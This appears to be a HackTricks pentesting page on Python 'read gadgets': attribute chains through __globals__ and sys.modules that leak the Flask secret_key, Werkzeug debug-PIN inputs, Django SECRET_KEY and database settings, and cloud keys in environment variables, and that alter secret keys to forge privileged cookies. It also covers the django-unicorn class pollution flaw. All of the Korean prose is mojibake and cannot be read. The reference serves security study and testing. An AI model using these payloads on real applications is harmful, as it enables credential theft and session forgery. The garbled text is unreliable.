Python ๋ด๋ถ ์ฝ๊ธฐ ๊ฐ์ ฏ
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
๊ธฐ๋ณธ ์ ๋ณด
๋ค์๊ณผ ๊ฐ์ ๋ค์ํ ์ทจ์ฝ์ (Python Format Strings ๋๋ Class Pollution)์ python ๋ด๋ถ ๋ฐ์ดํฐ๋ฅผ ์ฝ์ ์ ์๊ฒ ํ์ง๋ง ์ฝ๋ ์คํ์ ํ์ฉํ์ง ์์ต๋๋ค. ๋ฐ๋ผ์ pentester๋ ์ด๋ฌํ ์ฝ๊ธฐ ๊ถํ์ ์ต๋ํ ํ์ฉํ์ฌ ๋ฏผ๊ฐํ ๊ถํ์ ํ๋ํ๊ณ ์ทจ์ฝ์ ์ ์ํฅ์ ํ๋ํด์ผ ํฉ๋๋ค.
Flask - ๋น๋ฐ ํค ์ฝ๊ธฐ
Flask ์ ํ๋ฆฌ์ผ์ด์
์ ๋ฉ์ธ ํ์ด์ง์๋ ์๋ง๋ app ์ ์ญ ๊ฐ์ฒด๊ฐ ์กด์ฌํ๋ฉฐ, ์ด๊ณณ์ ๋น๋ฐ์ด ๊ตฌ์ฑ๋์ด ์์ต๋๋ค.
app = Flask(__name__, template_folder='templates')
app.secret_key = '(:secret:)'
์ด ๊ฒฝ์ฐ Bypass Python sandboxes page์ ์๋ ์ด๋ค gadget์ ์ฌ์ฉํด๋ access global objects๋ฅผ ํตํด ์ด ๊ฐ์ฒด์ ์ ๊ทผํ ์ ์๋ค.
๋ง์ฝ the vulnerability is in a different python file, ํ์ผ์ ํก๋จํ ์ ์๋ gadget์ด ํ์ํ๋ฉฐ ๋ฉ์ธ ํ์ผ์ **access the global object app.secret_key**๋ฅผ ํตํด Flask secret key๋ฅผ ๋ณ๊ฒฝํ๊ณ ์ด ํค๋ฅผ ์๊ณ escalate privileges knowing this keyํ ์ ์๋ค.
A payload like this one from this writeup:
__init__.__globals__.__loader__.__init__.__globals__.sys.modules.__main__.app.secret_key
Use this payload to change app.secret_key (the name in your app might be different) to be able to sign new and more privileges flask cookies.
Werkzeug - machine_id and node uuid
Using these payload from this writeup์ ์ฌ์ฉํ๋ฉด machine_id์ uuid ๋
ธ๋์ ์ ๊ทผํ ์ ์์ต๋๋ค. ์ด๋ค์ generate the Werkzeug pin๋ฅผ ์์ฑํ๋ ๋ฐ ํ์ํ main secrets๋ก, debug mode๊ฐ ํ์ฑํ๋์ด ์์ ๊ฒฝ์ฐ /console์์ python console์ ์ ๊ทผํ๋ ๋ฐ ์ฌ์ฉํ ์ ์์ต๋๋ค:
{ua.__class__.__init__.__globals__[t].sys.modules[werkzeug.debug]._machine_id}
{ua.__class__.__init__.__globals__[t].sys.modules[werkzeug.debug].uuid._node}
Warning
์น ํ์ด์ง์์ ์ผ๋ถ error๋ฅผ ๋ฐ์์์ผ ์๋ฒ์
app.py๋ก์ปฌ ๊ฒฝ๋ก๋ฅผ ์ป์ ์ ์๋ค๋ ์ ์ ์ ์ํ์ธ์. ์ด error๊ฐ ๊ฒฝ๋ก๋ฅผ ์ ๊ณตํฉ๋๋ค.
If the vulnerability is in a different python file, check the previous Flask trick to access the objects from the main python file.
Django - SECRET_KEY ๋ฐ settings ๋ชจ๋
Django settings ๊ฐ์ฒด๋ ์ ํ๋ฆฌ์ผ์ด์
์ด ์์๋๋ฉด sys.modules์ ์บ์๋ฉ๋๋ค. ์ฝ๊ธฐ primitives๋ง์ผ๋ก SECRET_KEY, ๋ฐ์ดํฐ๋ฒ ์ด์ค ์๊ฒฉ์ฆ๋ช
๋๋ ์๋ช
์ฉ salts๋ฅผ leakํ ์ ์์ต๋๋ค:
# When DJANGO_SETTINGS_MODULE is set (usual case)
sys.modules[os.environ['DJANGO_SETTINGS_MODULE']].SECRET_KEY
# Through the global settings proxy
a = sys.modules['django.conf'].settings
(a.SECRET_KEY, a.DATABASES, a.SIGNING_BACKEND)
์ทจ์ฝํ gadget์ด ๋ค๋ฅธ ๋ชจ๋์ ์๋ค๋ฉด, ๋จผ์ globals๋ฅผ ์ํํ์ธ์:
__init__.__globals__['sys'].modules['django.conf'].settings.SECRET_KEY
ํค๊ฐ ์๋ ค์ง๋ฉด Django ์๋ช ๋ ์ฟ ํค ๋๋ ํ ํฐ์ Flask์ ์ ์ฌํ ๋ฐฉ์์ผ๋ก ์์กฐํ ์ ์์ต๋๋ค.
Environment variables / cloud creds via loaded modules
๋ง์ jails์์๋ ์ฌ์ ํ ์ด๋๊ฐ์์ os ๋๋ sys๋ฅผ importํฉ๋๋ค. ์ ๊ทผ ๊ฐ๋ฅํ ์ด๋ค ํจ์์ __init__.__globals__๋ฅผ ์
์ฉํ์ฌ ์ด๋ฏธ import๋ os ๋ชจ๋๋ก ํผ๋ฒํ๊ณ environment variables์ ์๋ API tokens, cloud keys ๋๋ flags๋ฅผ ๋คํํ ์ ์์ต๋๋ค:
# Classic os._wrap_close subclass index may change per version
cls = [c for c in object.__subclasses__() if 'os._wrap_close' in str(c)][0]
cls.__init__.__globals__['os'].environ['AWS_SECRET_ACCESS_KEY']
์๋ธํด๋์ค ์ธ๋ฑ์ค๊ฐ ํํฐ๋ง๋์ด ์๋ค๋ฉด, loaders๋ฅผ ์ฌ์ฉํ์ธ์:
__loader__.__init__.__globals__['sys'].modules['os'].environ['FLAG']
ํ๊ฒฝ ๋ณ์๋ ์ข ์ข read์์ full compromise๋ก ์ด๋ํ๋ ๋ฐ ํ์ํ ์ ์ผํ ๋น๋ฐ์ ๋๋ค (cloud IAM keys, database URLs, signing keys, etc.).
Django-Unicorn class pollution (CVE-2025-24370)
django-unicorn (<0.62.0) allowed class pollution via crafted component requests. __init__.__globals__ ๊ฐ์ ํ๋กํผํฐ ๊ฒฝ๋ก๋ฅผ ์ค์ ํ๋ฉด ๊ณต๊ฒฉ์๊ฐ ์ปดํฌ๋ํธ ๋ชจ๋์ globals ๋ฐ ์ํฌํธ๋ ๋ชจ๋๋ค(์: settings, os, sys)์ ๋๋ฌํ ์ ์์ต๋๋ค. ๊ฑฐ๊ธฐ์ code execution ์์ด SECRET_KEY, DATABASES ๋๋ ์๋น์ค ์๊ฒฉ์ฆ๋ช
์ leakํ ์ ์์ต๋๋ค. ์ด ์ต์คํ๋ก์ ์ฒด์ธ์ ์์ํ๊ฒ read ๊ธฐ๋ฐ์ด๋ฉฐ ์์์ ์ธ๊ธํ ๊ฒ๊ณผ ๋์ผํ dunder-gadget ํจํด์ ์ฌ์ฉํฉ๋๋ค.
์ฐ๊ฒฐ์ ์ํ Gadget ๋ชจ์
์ต๊ทผ CTF๋ค(์: jailCTF 2025)์ attribute access์ subclass enumeration๋ง์ผ๋ก ๊ตฌ์ถ๋ ์ ๋ขฐ ๊ฐ๋ฅํ read ์ฒด์ธ์ ๋ณด์ฌ์ค๋๋ค. ์ปค๋ฎค๋ํฐ์์ ์ ์งํ๋ ๋ชฉ๋ก๋ค์ธ pyjailbreaker ๋ฑ์ ๊ฐ์ฒด์์ __globals__, sys.modules๋ก ์ด๋ํ๊ณ ์ต์ข
์ ์ผ๋ก ๋ฏผ๊ฐํ ๋ฐ์ดํฐ์ ๋๋ฌํ๊ธฐ ์ํด ๊ฒฐํฉํ ์ ์๋ ์๋ฐฑ ๊ฐ์ ์ต์ํ์ gadget์ ์๋กํ๊ณ ์์ต๋๋ค. Python ๋ง์ด๋ ๋ฒ์ ๊ฐ์ ์ธ๋ฑ์ค๋ ํด๋์ค ์ด๋ฆ์ด ๋ค๋ฅผ ๋ ๋น ๋ฅด๊ฒ ์ ์ํ๊ธฐ ์ํด ์ด๋ฅผ ์ฌ์ฉํ์ธ์.
References
- Wiz analysis of django-unicorn class pollution (CVE-2025-24370)
- pyjailbreaker โ Python sandbox gadget wiki
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


